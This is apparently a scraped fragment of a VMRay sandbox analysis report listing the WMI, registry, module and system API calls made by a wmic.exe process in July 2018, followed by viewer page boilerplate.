Create EB87E1BD-3233-11D2-AEC9-00C04FB68820 EB87E1BC-3233-11D2-AEC9-00C04FB68820 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer, network_resource = root\cli True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer, network_resource = root\cli\ms_409 True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer, network_resource = \\LHNIWSJ\ROOT\CIMV2 True 1
Fn
Registry (5)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging, data = 48 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging Directory True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging Directory, data = 37 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Log File Max Size, data = 54 True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\wbem\wmic.exe base_address = 0x1370000 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = LHNIWSJ True 1
Fn
Get Time type = Local Time, time = 2018-07-05 23:46:05 (Local Time) True 1
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image